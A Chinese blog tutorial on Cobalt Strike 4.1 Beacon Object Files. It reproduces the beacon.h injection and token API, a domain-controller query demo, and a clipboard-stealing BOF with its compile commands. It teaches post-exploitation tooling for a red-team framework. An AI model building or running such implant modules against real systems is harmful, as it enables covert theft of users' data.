前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >抛砖引玉之CobaltStrike4.1的BOF

抛砖引玉之CobaltStrike4.1的BOF

作者头像
鸿鹄实验室
发布2021-04-15 10:28:33
1.1K0
发布2021-04-15 10:28:33
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

声明:

文章初衷只为攻防研究、技术交流只用。严禁利用相关技术去从事一切未经合法授权的入侵攻击破坏活动。因此产生的一切不良后果与文章作者及本公众号无关。

今天,群里的大佬分享出了CobaltStrike4.1(感谢师傅分享),于是拿来尝尝鲜。关于cs4.1新出的功能,在很早之前,公众号已发过相关文章,在此不再赘述,具体更新信息,可去(https://www.cobaltstrike.com/releasenotes.txt)查看。

本次更新的东西没有太多需要理解的地方,更多是在4.0的基础上修复了一些Bug,对一些细节进行了调整,比如删除了在新进程中生成x86负载的x64dll的选项、修复了getsystem的一些逻辑错误、添加smartinject功能、Mimikatz 更新至2.2.0 20200519等

不过对于我来说,更令我喜欢的还是其BOF功能,关于这个功能,简单来说就是beacon提供了一个内部的API,你可以通过这个API去开发一些自定义的模块,多用于横向移动,好处就是体积小,不过需要在本地先调试好,不然容易掉权限。官方链接如下:https://www.cobaltstrike.com/help-beacon-object-files

其中依赖于beacon.h,为了方便大家,我这里直接贴出来该文件的内容:

代码语言:javascript
复制
/*
 * Beacon Object Files (BOF)
 * -------------------------
 * A Beacon Object File is a light-weight post exploitation tool that runs
 * with Beacon's inline-execute command.
 *
 * Cobalt Strike 4.1.
 */

/* data API */
typedef struct {
  char * original; /* the original buffer [so we can free it] */
  char * buffer;   /* current pointer into our buffer */
  int    length;   /* remaining length of data */
  int    size;     /* total size of this buffer */
} datap;

DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);

/* format API */
typedef struct {
  char * original; /* the original buffer [so we can free it] */
  char * buffer;   /* current pointer into our buffer */
  int    length;   /* remaining length of data */
  int    size;     /* total size of this buffer */
} formatp;

DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);

/* Output Functions */
#define CALLBACK_OUTPUT      0x0
#define CALLBACK_OUTPUT_OEM  0x1e
#define CALLBACK_ERROR       0x0d
#define CALLBACK_OUTPUT_UTF8 0x20

DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);

/* Token Functions */
DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void   BeaconRevertToken();
DECLSPEC_IMPORT BOOL   BeaconIsAdmin();

/* Spawn+Inject Functions */
DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);

/* Utility Functions */
DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

然后编写c代码即可,

这里以作者给出的demo为例:

代码语言:javascript
复制
#include <windows.h>
#include <stdio.h>
#include <dsgetdc.h>
#include "beacon.h"

DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID);

void go(char * args, int alen) {
  DWORD dwRet;
  PDOMAIN_CONTROLLER_INFO pdcInfo;

  dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);
  if (ERROR_SUCCESS == dwRet) {
    BeaconPrintf(CALLBACK_OUTPUT, "%s", pdcInfo->DomainName);
  }

  NETAPI32$NetApiBufferFree(pdcInfo);
}

然后用下面的方法,编译

代码语言:javascript
复制
 * x86_64-w64-mingw32-gcc -c hello.c -o hello.x64.o
 * i686-w64-mingw32-gcc -c hello.c -o hello.x86.o

这样我们便得到了.o的文件。

然后加载我们的脚本即可:

这样便做到了get域名成的目的。

对于有C语言功底的人来说,便可以使用其达到各种各样的功能,部分API如下:

那么接下来,我们便来手把手的写一个BOF来武装我们的CobaltStrike

如果你之前有c的开发经验,你会发现上面的demo中

代码语言:javascript
复制
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID);

这一串是很少见到的,不过没关系,我们可以使用现成的工具来实现这个过程,比如我们要写一个剪切版劫持的BOF,我们需要用到下面几个api:

代码语言:javascript
复制
GetConsoleWindow
OpenClipboard
GetClipboardData
CloseClipboard

然后使用工具生产BOF所需要的内容:

那么

代码语言:javascript
复制
OpenClipboard

在BOF中则是:

代码语言:javascript
复制
DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$OpenClipboard (HWND);

剩下的就好说了,按照之前的逻辑,编写代码就好了:

代码语言:javascript
复制
#include <windows.h>
#include <string.h>
#include <winuser.h>
#include "beacon.h"

DECLSPEC_IMPORT HWND WINAPI KERNEL32$GetConsoleWindow(void);
DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$OpenClipboard(HWND);
DECLSPEC_IMPORT WINUSERAPI HANDLE WINAPI USER32$GetClipboardData(UINT);
DECLSPEC_IMPORT WINUSERAPI BOOL  WINAPI USER32$CloseClipboard(void);


 void go() {

    HWND owner = KERNEL32$GetConsoleWindow(); 
    USER32$OpenClipboard(owner);
    owner = USER32$GetClipboardData(CF_TEXT);
    BeaconPrintf(CALLBACK_OUTPUT, "%s\n", (char *)owner);;
    USER32$CloseClipboard();
 }

然后编译:

代码语言:javascript
复制
x86_64-w64-mingw32-gcc -c xx.c -o luser.x64.o 

得到BOF文件,下面我们来试试效果:

成功获取剪切版的内容。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档